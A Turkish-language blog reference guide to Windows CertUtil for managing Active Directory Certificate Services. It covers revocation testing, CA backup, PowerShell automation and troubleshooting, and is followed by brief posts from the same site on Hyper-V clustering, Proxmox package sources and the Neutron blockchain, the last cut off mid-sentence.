🌐 CRL / AIA / CDP Testleri Zincir doğrulama ve erişim testleri. 1 2 3 4 5 6 7 8 9 10 11 # AIA/CDP linklerini test penceresinde gösterir certutil -url cert.cer # Zincir doğrulaması yapar ve CRL/OCSP'yi gerçek URL'den indirerek kontrol eder certutil -urlfetch -verify cert.cer # CRL önbelleğini temizler certutil -urlcache * delete # Belirli bir URL'den CRL çek ve önbelleğe al certutil -urlcache -f http://pki.domain.com/crl/ca.crl Örnek: “Revocation status unknown” hatasında önce -urlfetch yapılır, sorun URL erişimindeyse -urlcache * delete ile önbellek temizlenir. 🗄️ CA Veritabanı ve Şablon Yönetimi CA yönetimi için kritik komutlar. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # CA veritabanı kayıtlarını listeler certutil -view # CA'nın yayımladığı şablonları gösterir certutil -catemplates # CA registry ayarlarını getirir certutil -getreg # Tüm şablonları detaylı göster certutil -v -template # Belirli bir şablonu AD'den sorgula certutil -dstemplate WebServer 💾 Yedekleme ve Geri Yükleme (DR) Felaket kurtarma senaryoları. 1 2 3 4 5 6 7 8 9 10 11 12 13 # Tam yedekleme (DB + Registry + Private Key) certutil -backup D:\CA-Backup # Sadece CA Veritabanını yedekle (önerilen) certutil -backupdb D:\CA-Backup\DB # CA Anahtarını yedekle (ÇIKTI ÇOK HASSAS!) certutil -backupkey D:\CA-Backup\Keys # Geri yükleme certutil -restore D:\CA-Backup certutil -restoredb D:\CA-Backup\DB certutil -restorekey D:\CA-Backup\Keys Önemli: -backupkey çıktısı şifrelenmemiş ortamda saklanmamalıdır. 🔧 Özel Anahtar Onarımı (RepairStore) Hizmet sertifikası özel anahtarıyla eşleşmiyorsa (IIS, ADFS, Exchange sorunlarında): 1 certutil -repairstore My <THUMBPRINT> Not: Thumbprint değerini yapıştırırken boşlukları kaldırın veya tırnak içinde kullanın. 📄 Dosya Analizi ve Kod Dönüşümü 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # Sertifikanın tüm ayrıntılarını ASN.1 düzeyinde gösterir certutil -dump cert.cer # Base64 dönüştürme (DER -> Base64) certutil -encode file.der file.cer # DER formatına geri çevirme (Base64 -> DER) certutil -decode file.cer file.der # Hex dump oluştur certutil -encodehex input.file output.hex # Hex'ten binary'ye certutil -decodehex input.hex output.bin # Dosya Hash değerini hesapla (MD5) certutil -hashfile dosya.exe MD5 # Dosya Hash değerini hesapla (SHA256) certutil -hashfile dosya.exe SHA256 🔑 PFX / P12 Yönetimi Özel anahtar içeren PFX dosyalarının yönetimi: 1 2 3 4 5 6 7 8 # PFX dosyasını kişisel depoya (My) içe aktar certutil -user -p "Sifre123" -importpfx my.pfx # Sertifikayı ve özel anahtarı PFX olarak dışa aktar (NoCA: Zinciri dahil etme) certutil -user -p "Sifre123" -exportpfx My <Serial> my.pfx NoCA # PFX dosyasının şifresini kontrol et / içeriğini görüntüle certutil -dump -p "Sifre123" my.pfx 5. İleri Seviye Komutlar 🔐 CA Registry Ayarları (setreg/getreg) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # CRL yayım süresini ayarla (1 hafta) certutil -setreg CA\CRLPeriodUnits 1 certutil -setreg CA\CRLPeriod "Weeks" # Delta CRL ayarları (1 gün) certutil -setreg CA\CRLDeltaPeriodUnits 1 certutil -setreg CA\CRLDeltaPeriod "Days" # CRL Overlap Period (12 saat) certutil -setreg CA\CRLOverlapPeriodUnits 12 certutil -setreg CA\CRLOverlapPeriod "Hours" # Sertifika geçerlilik süresi (5 yıl) certutil -setreg CA\ValidityPeriodUnits 5 certutil -setreg CA\ValidityPeriod "Years" # Tam denetim etkinleştir certutil -setreg CA\AuditFilter 127 # Ayarları kontrol et certutil -getreg CA\CRLPeriodUnits ⚠️ Kritik: -setreg sonrası mutlaka net stop certsvc && net start certsvc ile servis yeniden başlatılmalıdır. 📡 Active Directory Entegrasyonu 1 2 3 4 5 6 7 8 9 10 11 # Root CA sertifikasını AD'ye yayımla certutil -dspublish -f RootCA.cer RootCA # Enterprise CA bilgilerini görüntüle certutil -EntInfo DOMAIN\CASERVER$ # Domain Controller bilgilerini göster certutil -DCInfo # AD'deki PKI nesnelerini göster certutil -ds 🔍 Gelişmiş Sorgulama ve Raporlama 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Bekleyen talepleri listele certutil -view -restrict "Request.Disposition=9" -out "RequestID,RequesterName,CommonName" # İptal edilmiş sertifikaları listele certutil -view -restrict "Request.Disposition=21" -out "RequestID,SerialNumber,RevokedWhen" # Belirli tarih aralığındaki sertifikaları getir certutil -view -restrict "NotBefore>=01/01/2024,NotBefore<=12/31/2024" csv # Süresi dolmuş sertifikaları bul certutil -view -restrict "NotAfter<=$(Get-Date -Format 'MM/dd/yyyy')" -out "CommonName,NotAfter" # Bekleyen (Pending) bir isteği onayla (Issue) certutil -resubmit <RequestID> # Bekleyen bir isteği reddet (Deny) certutil -deny <RequestID> Disposition Kodları (Sertifika Durumları): Kod Durum Açıklama 9 Pending Bekleyen (onay bekliyor) 15 CA Denied CA tarafından reddedilmiş 20 Issued Verilmiş (aktif) 21 Revoked İptal edilmiş 30 Failed Başarısız 31 Under Submission Gönderim sürecinde 🛠️ CSP/KSP Yönetimi 1 2 3 4 5 6 7 8 # Tüm CSP'leri listele certutil -csplist # CSP testleri çalıştır certutil -csptest # Belirli bir CSP ile anahtar oluştur certutil -key -csp "Microsoft Software Key Storage Provider" 🔄 Sertifika İşlemleri 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # Sertifika iptal et (sebep kodu: 1=KeyCompromise) certutil -revoke 1A2B3C4D5E6F 1 # Yeni CRL yayımla certutil -crl # Delta CRL yayımla certutil -crl +CRL_DELTA # CA sertifikasını al certutil -ca.cert ca_cert.cer # CA zincirini al certutil -ca.chain ca_chain.p7b # CA'ya ping at certutil -ping certutil -config "CASERVER\CA Name" -ping İptal Sebep Kodları: Kod Sebep Kullanım Durumu 0 Unspecified Genel iptal (sebep belirtilmemiş) 1 KeyCompromise Özel anahtar ele geçirilmiş 2 CACompromise CA’nın kendisi tehlikeye girmiş 3 AffiliationChanged Kullanıcı kuruluştan ayrılmış 4 Superseded Sertifika yenisiyle değiştirilmiş 5 CessationOfOperation Hizmet durdurulmuş 6 CertificateHold Geçici askıya alma (geri alınabilir) 🔬 ASN.1 ve Hata Analizi 1 2 3 4 5 6 7 8 9 10 11 12 # ASN.1 formatında sertifika parse et certutil -asn cert.cer # Detaylı ASN.1 çıktısı certutil -v -asn cert.cer # Hata kodunu çöz (HRESULT) certutil -error 0x80090016 certutil -error 2148073494 # CRL dosyasını ASN.1 olarak incele certutil -asn ca.crl Sık Karşılaşılan Hata Kodları (HRESULT) Kod (Hex) Kod (Dec) Anlamı 0x80092013 -2146885613 Revocation server offline (CRL erişilemiyor) 0x80092012 -2146885614 Revocation function unable to check revocation (Zincir hatası) 0x80090016 -2146893802 Keyset does not exist (Özel anahtar yok/erişilemiyor) 0x800B0101 -2146762495 A required certificate is not within its validity period (Süresi dolmuş) 0x800B0109 -2146762487 Chain terminated in a root certificate which is not trusted (Root güvenilmiyor) 📝 CertReq Entegrasyonu 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Yeni sertifika talebi oluştur (INF dosyasından) certreq -new request.inf request.req # Talebi CA'ya gönder certreq -submit request.req # Bekleyen talebi al certreq -retrieve <RequestID> cert.cer # Sertifikayı yükle certreq -accept cert.cer # P7B zincirini görüntüle certutil -dump -v cert.p7b 6. Kurumsal PKI Yönetimi 🏗️ Multi-Tier PKI Mimarisi Kurumsal ortamlarda önerilen yapı: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ┌─────────────────────────┐ │ Offline Root CA │ (Fiziksel güvenlik, ağdan izole) │ Validity: 20 yıl │ └───────────┬─────────────┘ │ ┌───────┴────────┐ │ │ ┌───▼────────┐ ┌───▼────────┐ │ Policy CA │ │ Policy CA │ (Offline/Semi-offline) │ (Opsiyonel)│ │ (Opsiyonel)│ └───┬────────┘ └───┬────────┘ │ │ ┌───▼─────────────────▼───┐ │ Issuing CA (Online) │ (7/24 aktif, sertifika dağıtır) │ Validity: 5 yıl │ └─────────────────────────┘ 📋 CAPolicy.inf Örneği Root CA kurulumu öncesi C:\Windows\CAPolicy.inf dosyası: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [Version] Signature="$Windows NT$" [PolicyStatementExtension] Policies=AllIssuancePolicy Critical=False [AllIssuancePolicy] OID=2.5.29.32.0 [BasicConstraintsExtension] PathLength=2 Critical=True [certsrv_server] RenewalKeyLength=4096 RenewalValidityPeriod=Years RenewalValidityPeriodUnits=20 CRLPeriod=Years CRLPeriodUnits=10 LoadDefaultTemplates=0 AlternateSignatureAlgorithm=1 🌐 CDP/AIA URL Yapılandırması 1 2 3 4 5 6 7 8 9 # CRL Distribution Point ayarla certutil -setreg CA\CRLPublicationURLs "1:C:\Windows\system32\CertSrv\CertEnroll\%3%8%9.crl\n10:ldap:///CN=%7%8,CN=%2,CN=CDP,CN=Public Key Services,CN=Services,%6%10\n2:http://pki.domain.com/crl/%3%8%9.crl" # AIA (Authority Information Access) ayarla certutil -setreg CA\CACertPublicationURLs "1:C:\Windows\system32\CertSrv\CertEnroll\%1_%3%4.crt\n2:ldap:///CN=%7,CN=AIA,CN=Public Key Services,CN=Services,%6%11\n2:http://pki.domain.com/aia/%1_%3%4.crt" # Ayarları kontrol et certutil -getreg CA\CRLPublicationURLs certutil -getreg CA\CACertPublicationURLs URL Değişkenleri: %1 = CA adı %2 = Domain adı %3 = CA sanitized name %8 = CRL suffix %9 = Delta CRL suffix 7. Otomasyon ve Scripting 📜 PowerShell ile Toplu Sertifika Kontrolü 1 2 3 4 5 6 # Tüm sertifikaları kontrol et ve süresi dolacakları tespit et $certs = certutil -store My | Select-String "Serial Number:" foreach ($cert in $certs) { $serial = $cert -replace ".*: ", "" certutil -verify -urlfetch $serial } ⚡ Auto-Enrollment Tetikleme (Pulse) GPO ile dağıtılan sertifikaların anında alınmasını sağlamak için kullanılan sihirli komut: 1 2 3 4 5 # Auto-enrollment olayını tetikle (Machine context) certutil -pulse # User context için certutil -user -pulse 🔄 Otomatik CRL Yenileme Script’i 1 2 3 4 5 6 7 8 9 10 # Günlük CRL yenileme (Task Scheduler ile çalıştır) $logFile = "C:\Logs\CRL_Publish_$(Get-Date -Format 'yyyyMMdd').log" try { certutil -crl | Out-File -Append $logFile Write-Output "$(Get-Date): CRL başarıyla yayımlandı" | Out-File -Append $logFile } catch { Write-Output "$(Get-Date): HATA - $_" | Out-File -Append $logFile Send-MailMessage -To "admin@domain.com" -Subject "CRL Yayım Hatası" -Body $_ } 📊 CA Veritabanı Raporu 1 2 3 4 5 # Son 30 günde verilen sertifikaları CSV'ye aktar $startDate = (Get-Date).AddDays(-30).ToString("MM/dd/yyyy") $endDate = (Get-Date).ToString("MM/dd/yyyy") certutil -view -restrict "NotBefore>=$startDate,NotBefore<=$endDate" csv -out "RequestID,RequesterName,CommonName,NotBefore,NotAfter" > "C:\Reports\Certificates_Last30Days.csv" 🔐 Toplu Sertifika İptali 1 2 3 4 5 6 7 8 9 10 11 12 13 # Belirli bir kullanıcının tüm sertifikalarını iptal et $user = "DOMAIN\username" $certs = certutil -view -restrict "RequesterName=$user" -out "SerialNumber" foreach ($serial in $certs) { if ($serial -match "^[0-9a-f]+$") { certutil -revoke $serial 1 # 1 = KeyCompromise Write-Output "İptal edildi: $serial" } } # Yeni CRL yayımla certutil -crl 8. Gerçek Hayat Senaryoları Senaryo 1: Exchange Hizmet Kesintisi Sorun: Exchange OWA açılmıyor, kullanıcılar “sertifika hatası” alıyor. Çözüm Adımları: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 1. Sertifikayı kontrol et certutil -store My # 2. Özel anahtar eşleşmesini kontrol et (Key Provider Name olmalı) certutil -store My | Select-String -Context 0,15 "Subject: CN=mail.domain.com" # 3. Eşleşme yoksa onar certutil -repairstore My <thumbprint> # 4. Zinciri doğrula certutil -verify -urlfetch mail_cert.cer # 5. IIS'i yeniden başlat iisreset Senaryo 2: ADFS Login Sorunu Sorun: Kullanıcılar ADFS üzerinden oturum açamıyor. Çözüm: 1 2 3 4 5 6 7 8 9 10 11 12 # 1. ADFS sertifikasını doğrula certutil -verify -urlfetch adfs.cer # 2. CRL erişimini test et certutil -url adfs.cer # 3. CRL URL'si 404 dönüyorsa, IIS'te CRL yayınını kontrol et # 4. Önbelleği temizle certutil -urlcache * delete # 5. ADFS servisini yeniden başlat Restart-Service adfssrv Senaryo 3: LDAPS Sertifika Problemi Sorun: Uygulama DC’ye LDAPS (636) üzerinden bağlanamıyor. Çözüm: 1 2 3 4 5 6 7 8 9 # 1. DC sertifikasını kontrol et certutil -store My # 2. EKU kontrolü (Server Authentication olmalı) certutil -dump dc_cert.cer | Select-String "Enhanced Key Usage" # 3. Eksikse doğru şablonla yeni sertifika enroll et # 4. DC'yi yeniden başlat Restart-Computer -Force Senaryo 4: Toplu Sertifika Süresi Dolumu Sorun: 100+ sertifikanın süresi aynı anda dolacak. Çözüm: 1 2 3 4 5 6 # 1. Süresi dolacak sertifikaları tespit et $expiryDate = (Get-Date).AddDays(30).ToString("MM/dd/yyyy") certutil -view -restrict "NotAfter<=$expiryDate" -out "CommonName,NotAfter,RequesterName" > expiring.txt # 2. Otomatik yenileme için GPO ayarla # 3. Manuel yenileme gerekiyorsa kullanıcılara bildirim gönder Senaryo 5: CA Veritabanı Bozulması Sorun: CA hizmeti başlamıyor, veritabanı hatası veriyor. Çözüm: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 1. Servisi durdur net stop certsvc # 2. Veritabanı tutarlılığını kontrol et esentutl /g "C:\Windows\system32\CertLog\CA_Name.edb" # 3. Hata varsa onar esentutl /p "C:\Windows\system32\CertLog\CA_Name.edb" # 4. Defragmente et esentutl /d "C:\Windows\system32\CertLog\CA_Name.edb" # 5. Servisi başlat net start certsvc # 6. Başarısızsa son yedekten geri yükle certutil -restoredb D:\CA-Backup\DB 9. Sorun Giderme Karar Ağacı 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Sertifika Sorunu mu? │ ├─ Sertifika bulunamıyor │ ├─ certutil -store My │ └─ certutil -verifystore My │ ├─ Zincir doğrulama hatası │ ├─ certutil -verify -urlfetch cert.cer │ ├─ certutil -url cert.cer │ └─ certutil -urlcache * delete │ ├─ Özel anahtar eşleşmiyor │ └─ certutil -repairstore My <thumbprint> │ ├─ CRL erişim hatası │ ├─ certutil -urlcache -f http://crl.url │ └─ IIS/Web sunucu kontrolü │ ├─ CA servisi başlamıyor │ ├─ Event Viewer kontrol │ ├─ certutil -getreg (ayar kontrolü) │ └─ certutil -restoredb (son çare) │ └─ Performans sorunu ├─ CA veritabanı boyutu kontrol ├─ esentutl /d (defragment) └─ Eski kayıtları arşivle 10. Performans ve Optimizasyon 🚀 CA Veritabanı Optimizasyonu 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # Veritabanı boyutunu kontrol et Get-Item "C:\Windows\system32\CertLog\*.edb" | Select-Object Name, @{N="SizeGB";E={[math]::Round($_.Length/1GB, 2)}} # Offline defragmentasyon (servis durdurulmalı) net stop certsvc esentutl /d "C:\Windows\system32\CertLog\CA_Name.edb" net start certsvc # Online yedekleme sırasında log dosyalarını temizle certutil -backupdb D:\Backup # Eski istekleri arşivle (1 yıldan eski) $cutoffDate = (Get-Date).AddYears(-1).ToString("MM/dd/yyyy") certutil -view -restrict "NotBefore<$cutoffDate,Request.Disposition=20" -out "RequestID" | ForEach-Object { certutil -deleterow $_ } ⚡ CRL Performans Ayarları 1 2 3 4 5 6 7 8 9 10 # CRL boyutunu küçült (Delta CRL kullan) certutil -setreg CA\CRLDeltaPeriodUnits 1 certutil -setreg CA\CRLDeltaPeriod "Hours" # CRL yayım zamanlaması (düşük yoğunluk saatleri) # Task Scheduler ile 02:00'de otomatik yayımla # Base CRL'yi uzun tutarsanız delta daha küçük olur certutil -setreg CA\CRLPeriodUnits 26 certutil -setreg CA\CRLPeriod "Weeks" 🔧 OCSP Yapılandırması 1 2 3 4 5 6 7 8 9 10 11 12 # OCSP Responder kurulumu (CA'dan ayrı sunucu) Install-WindowsFeature -Name ADCS-Online-Cert Install-AdcsOnlineResponder # OCSP yanıt imzalama sertifikası şablonu oluştur # MMC > Certificate Templates > Manage > Duplicate "OCSP Response Signing" # CA'da OCSP extension ekle certutil -setreg CA\CRLPublicationURLs "...\n32:http://ocsp.domain.com/ocsp" # OCSP test et certutil -url cert.cer 11. Event Log ve İzleme 📊 Kritik Event ID’ler Event ID Kaynak Açıklama Öncelik 4887 CertificationAuthority CA başlatıldı Info 4888 CertificationAuthority CA durduruldu Warning 100 CertificationAuthority Başarısız sertifika isteği Warning 3 CertificationAuthority Sertifika veritabanı erişim hatası Critical 44 CertificationAuthority CRL yayımlandı Info 53 CertificationAuthority CRL yayım hatası Critical 80 CertificationAuthority Sertifika iptal edildi Warning 🔍 Event Log Sorguları 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # Son 24 saatteki CA hatalarını göster Get-WinEvent -FilterHashtable @{ LogName='Application' ProviderName='Microsoft-Windows-CertificationAuthority' Level=2 # Error StartTime=(Get-Date).AddDays(-1) } | Select-Object TimeCreated, Id, Message | Format-Table -AutoSize # Başarısız sertifika taleplerini bul Get-WinEvent -FilterHashtable @{ LogName='Application' ProviderName='Microsoft-Windows-CertificationAuthority' Id=100 } | Select-Object -First 10 # CRL yayım geçmişi Get-WinEvent -FilterHashtable @{ LogName='Application' ProviderName='Microsoft-Windows-CertificationAuthority' Id=44,53 } | Select-Object TimeCreated, Id, Message 📈 Proaktif İzleme Script’i 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # CA sağlık kontrolü ve alarm $issues = @() # 1. CRL geçerlilik kontrolü $crl = certutil -dump ca.crl | Select-String "NextUpdate" if ($crl -match "(\d{2}/\d{2}/\d{4}.*)") { $nextUpdate = [datetime]::Parse($matches[1]) if ($nextUpdate -lt (Get-Date).AddHours(24)) { $issues += "CRL 24 saat içinde süresi dolacak!" } } # 2. Veritabanı boyutu kontrolü (>10GB uyarı) $dbSize = (Get-Item "C:\Windows\system32\CertLog\*.edb").Length / 1GB if ($dbSize -gt 10) { $issues += "Veritabanı boyutu ${dbSize}GB, defragmentasyon gerekli!" } # 3. Servis durumu if ((Get-Service certsvc).Status -ne 'Running') { $issues += "CA servisi çalışmıyor!" } # 4. Yedekleme kontrolü $lastBackup = (Get-ChildItem "D:\CA-Backup" | Sort-Object LastWriteTime -Descending | Select-Object -First 1).LastWriteTime if ($lastBackup -lt (Get-Date).AddDays(-7)) { $issues += "Son yedekleme 7 günden eski: $lastBackup" } # Sorun varsa e-posta gönder if ($issues.Count -gt 0) { $body = $issues -join "`n" Send-MailMessage -To "admin@domain.com" -Subject "CA Sağlık Uyarısı" -Body $body -SmtpServer "smtp.domain.com" } 12. Sık Yapılan Hatalar ❌ Hata 1: Servis Restart Unutulması Sorun: -setreg ile ayar değiştirildi ama CertSvc restart edilmedi. Belirti: Yeni ayarlar uygulanmıyor, CRL süresi hala eski. Çözüm: 1 2 3 net stop certsvc && net start certsvc # VEYA Restart-Service certsvc ❌ Hata 2: CDP/AIA URL’lerinde İç Sunucu Adı Sorun: CDP URL’sinde http://INTERNALSERVER/crl/ca.crl gibi iç sunucu adı kullanılmış. Belirti: Dış ağdan sertifika doğrulaması başarısız. Çözüm: 1 2 # Public DNS kullan certutil -setreg CA\CRLPublicationURLs "...\n2:http://pki.publicdomain.com/crl/%3%8%9.crl" ❌ Hata 3: Yedekleme Olmadan -setreg Kullanımı Sorun: Registry değişikliği öncesi yedek alınmadı. Çözüm: 1 2 3 4 # ÖNCE yedek al certutil -backup D:\Emergency-Backup # SONRA değişiklik yap certutil -setreg CA\CRLPeriodUnits 1 ❌ Hata 4: Root CA’yı Domain’e Katma Sorun: Offline Root CA domain member olarak kurulmuş. Belirti: Network erişimi nedeniyle offline değil. Çözüm: Root CA’yı standalone/workgroup olarak kur, ağdan fiziksel olarak izole et. ❌ Hata 5: Varsayılan Şablonları Üretimde Kullanma Sorun: “User”, “Computer” gibi default şablonlar direkt kullanılmış. Çözüm: Duplicate edip kuruma özel OID ekle: 1 2 # Şablon detaylarını OID ve ACL dahil görüntüle certutil -v -dstemplate "MyCompany-Computer" Not: Şablon kopyalama işlemi grafik arayüzden veya certutil -setcatemplates komutu ile CA’ya ekleme şeklinde yapılır. ❌ Hata 6: CRL Overlap Period Ayarlanmaması Sorun: CRL publish olduktan hemen sonra eski CRL geçersiz oluyor. Belirti: Zaman senkronizasyon farklılıklarında doğrulama hatası. Çözüm: 1 2 3 # En az 6-12 saat overlap ver certutil -setreg CA\CRLOverlapPeriodUnits 12 certutil -setreg CA\CRLOverlapPeriod "Hours" ❌ Hata 7: PathLength Kısıtlaması Unutma Sorun: Root CA sertifikasında PathLength=0 veya eksik. Belirti: Subordinate CA kurulamıyor. Çözüm: CAPolicy.inf’te PathLength=2 (veya daha fazla) ayarla. 💡 İpucu: Otomasyon ve -f Parametresi Komut dosyalarında (script) onay pencerelerini atlamak ve üzerine yazma işlemlerini zorlamak için -f (force) parametresini kullanın: 1 2 # Örnek: Onay almadan kök sertifika ekle certutil -f -addstore Root ca.cer 13. Karşılaştırma Tablosu Araç / Yöntem Avantajlar Dezavantajlar Kullanım Alanı CertUtil Yerleşik, CA yönetimi, CRL testleri, yedekleme, detaylı analiz. Öğrenme eğrisi yüksek, karmaşık çıktılar. Günlük operasyon, denetim, olay çözümü. PowerShell (PSPKI) Nesne tabanlı, script otomasyonu, raporlamaya uygun. Bazı düşük seviye CRL/AIA testlerinde yetersiz. Rutin raporlama, dashboard entegrasyonu. OpenSSL Platform bağımsız, güçlü kripto analizi. Windows AD CS ile entegre değil. Linux/Unix tarafı, çapraz platform kontroller. MMC Konsolları Kolay kullanım, grafiksel arayüz. Otomasyon yok, detaylı tanılama sınırlı. Eğitim, basit inceleme, GUI tercihi. PKIView.msc CA sağlık durumu görsel takip. Sadece görüntüleme, düzeltme yok. Proaktif izleme, sağlık kontrolleri. 14. Güvenlik ve Best Practices 🔒 Güvenlik Önlemleri Yetki Yönetimi: CA üzerinde CertUtil kullanacak kişilerin rolleri sınırlı olmalı. “Herkes her komutu çalıştırabilir” olmamalı. Servis Restart: -setreg sonrası CertSvc yeniden başlatılmalıdır. Restart edilmezse değişiklik uygulanmaz. Proxy / WAF Etkisi: CRL/AIA testlerinde proxy araya giriyorsa -urlfetch yanlış sonuç dönebilir. DR Testleri: Yedekleme/geri yükleme komutları (-backupdb, -backupkey) mutlaka test edilmelidir. Anahtar Güvenliği: -backupkey çıktıları çok hassastır, kasada saklanmalı ve erişim loglanmalıdır. 📐 Mimari Best Practices Multi-Tier PKI: 2-tier veya 3-tier mimari kullanın (Offline Root + Online Issuing). Offline Root CA: Root CA fiziksel güvenlikli ortamda, ağdan izole tutulmalı. CAPolicy.inf Kullanımı: CA kurulumu öncesi mutlaka hazırlayın. CDP/AIA URL’leri: İç sunucu adları yerine public erişilebilir URL’ler kullanın. Düzenli Yedekleme: Günlük otomatik yedekleme + aylık offline yedekleme. Rol Ayrımı: CA Admin, Certificate Manager, Auditor rollerini ayırın. NTP Senkronizasyonu: Tüm CA sunucuları güvenilir NTP kaynağına senkron olmalı. CA’yı DC’ye Kurmayın: Güvenlik riski oluşturur, ayrı sunucu kullanın. Varsayılan Şablonları Kullanmayın: Kuruma özel OID’ler ve şablonlar oluşturun. Denetim Etkin: AuditFilter=127 ile tam denetim aktif olmalı. 🔍 İzleme ve Bakım 1 2 3 4 5 6 7 8 9 # Haftalık sağlık kontrolü scripti $healthCheck = @{ "CA Service Status" = (Get-Service certsvc).Status "CRL Validity" = certutil -dump ca.crl | Select-String "NextUpdate" "Database Size" = (Get-Item "C:\Windows\system32\CertLog\*.edb").Length / 1GB "Last Backup" = (Get-ChildItem "D:\CA-Backup" | Sort-Object LastWriteTime -Descending | Select-Object -First 1).LastWriteTime } $healthCheck | Format-Table -AutoSize 15. Komut Referans Tablosu Kategori Komut Açıklama Örnek Yardım certutil -? Temel yardım certutil -?   certutil -v -? Detaylı yardım (gizli komutlar dahil) certutil -v -? Depo certutil -store Sertifika deposunu listele certutil -store My   certutil -verifystore Depo doğrulama certutil -verifystore Root   certutil -addstore Sertifika ekle certutil -addstore Root ca.cer   certutil -delstore Sertifika sil certutil -delstore My <serial>   certutil -importpfx PFX içe aktar certutil -importpfx my.pfx   certutil -exportpfx PFX dışa aktar certutil -exportpfx My <seri> my.pfx Doğrulama certutil -verify Sertifika doğrula certutil -verify cert.cer   certutil -urlfetch URL’den CRL/AIA çek certutil -urlfetch -verify cert.cer   certutil -url URL testleri certutil -url cert.cer CRL certutil -crl Yeni CRL yayımla certutil -crl   certutil -getcrl CRL indir certutil -getcrl ca.crl   certutil -urlcache URL önbellek yönetimi certutil -urlcache * delete CA Yönetim certutil -view CA veritabanı sorgula certutil -view -restrict "Disposition=20"   certutil -resubmit İsteği onayla certutil -resubmit 1234   certutil -deny İsteği reddet certutil -deny 1234   certutil -revoke Sertifika iptal et certutil -revoke 1A2B3C 1   certutil -catemplates Şablonları listele certutil -catemplates   certutil -ping CA bağlantı testi certutil -ping Registry certutil -setreg Registry ayarı değiştir certutil -setreg CA\CRLPeriodUnits 1   certutil -getreg Registry ayarı oku certutil -getreg CA\CRLPeriodUnits Yedekleme certutil -backup Tam yedekleme certutil -backup D:\Backup   certutil -backupdb Sadece DB yedekle certutil -backupdb D:\Backup\DB   certutil -backupkey Anahtar yedekle certutil -backupkey D:\Backup\Key   certutil -restore Geri yükle certutil -restore D:\Backup Dosya certutil -dump Sertifika detayları certutil -dump cert.cer   certutil -encode Base64 encode certutil -encode file.der file.cer   certutil -decode Base64 decode certutil -decode file.cer file.der   certutil -hashfile Dosya hash hesapla certutil -hashfile file.exe SHA256 AD certutil -dspublish AD’ye yayımla certutil -dspublish -f root.cer RootCA   certutil -dstemplate Şablon bilgisi certutil -dstemplate WebServer   certutil -EntInfo Enterprise CA bilgisi certutil -EntInfo DOMAIN\CA$   certutil -DCInfo DC bilgisi certutil -DCInfo Diğer certutil -repairstore Anahtar eşleştir certutil -repairstore My <thumbprint>   certutil -csplist CSP listele certutil -csplist   certutil -template Tüm şablonlar certutil -template   certutil -error Hata kodu açıklaması certutil -error 0x80090016   certutil -pulse Auto-enrollment tetikle certutil -pulse 16. Kapanış PKI, bir kurumun güven zincirini temsil eder. Zincirin en zayıf halkası, tüm yapıyı tehlikeye atabilir. CertUtil, bu zincirin her halkasını test etmek, doğrulamak ve gerektiğinde onarmak için en kritik silahtır. Sadece bir araç değil, güvenin sürdürülebilirliğinin garantisidir. CTA (Call to Action): Bugün ortamınızdaki kritik sertifikaları kontrol edin: 1 certutil -verify -urlfetch yourcert.cer Thnx: Tuğrul Kılıç (Medium) - Adam Bertram www.adamtheautomator.com --- ## Microsoft Hyper-V [Failover Cluster] Link: https://farukguler.com/posts/microsoft-hyper-v-failover-cluster/ #GENERAL:required: Active Directoryrequired: OS:Equalrequired: Domain:guler.comrequired: Minimum Machine (2 Server)#ROLES:required: Microsoft Hyper-V Roles (for 2 VMs)required: Microsoft Failover Clustering Roles (for 2 VMs)required: Microsoft Multipath I/O Roles (for 2 VMs)#NETWORKING:required: VMs Switch: Microsoft Network Adapter Multiplexor Driverrequired: Switch Teaming (Virtual or Physical)required: Microsoft NIC Teaming Toolrequired: 3 Network Connections (2 Teaming) (1 Heartbeat)#STORAGE:required: Common Shared Storage (NAS/SAN)required: Quorum Disk#Load Balancing:Round Robin: DNS Load BalancingNLB: Network Load BalancingARR: Application Request RoutingNIC Teaming: Network Interface Card Teaming --- ## Proxmox VE 8.2.2 Bookworm Healthy Sources Lists Link: https://farukguler.com/posts/proxmox-ve-8-2-2-bookworm-healthy-sources-lists/ #---> /etc/apt/sources.listroot@vm-host:~# nano /etc/apt/sources.listdeb http://ftp.tr.debian.org/debian bookworm main contribdeb http://ftp.tr.debian.org/debian bookworm-updates main contrib# security updatesdeb http://security.debian.org bookworm-security main contribdeb http://download.proxmox.com/debian/pve bookworm pve-no-subscription root@vm-host:~# cd /etc/apt/sources.list.droot@vm-host:~# nano /etc/apt/sources.list.d/ceph.list# deb https://enterprise.proxmox.com/debian/ceph-quincy bookworm enterprisedeb http://download.proxmox.com/debian/ceph-quincy bookworm no-subscriptiondeb http://download.proxmox.com/debian/ceph-reef bookworm no-subscriptionroot@vm-host:~# nano /etc/apt/sources.list.d/pve-enterprise.list# deb https://enterprise.proxmox.com/debian/pve bookworm pve-enterprise #Package Repositorieshttps://pve.proxmox.com/wiki/Package_Repositories I hope it was helpful… --- ## Neutron (NTRN) Nedir? Cosmos'un Güvenli Akıllı Sözleşme Merkezi Link: https://farukguler.com/posts/neutron-ntrn-nedir/ Neutron (NTRN), Cosmos ekosistemi içinde özel olarak tasarlanmış, yüksek performanslı bir akıllı sözleşme platformudur. Temel amacı, geliştiricilerin “Interchain” (zincirler arası) teknolojisinden tam olarak faydalanan merkeziyetsiz uygulamalar (dApp’ler) oluşturması için en güvenli ve en kolay yolu sunmaktır. Neutron’u diğer Layer 1’lerden ayıran iki temel özelliği vardır: Interchain Security (Zincirler Arası Güvenlik): Neutron, kendi doğrulayıcı (validator) setini oluşturmak yerine, güvenliğini doğrudan Cosmos Hub ($ATOM) doğrulayıcılarından kiralayan ilk blockchain’dir. Yerel 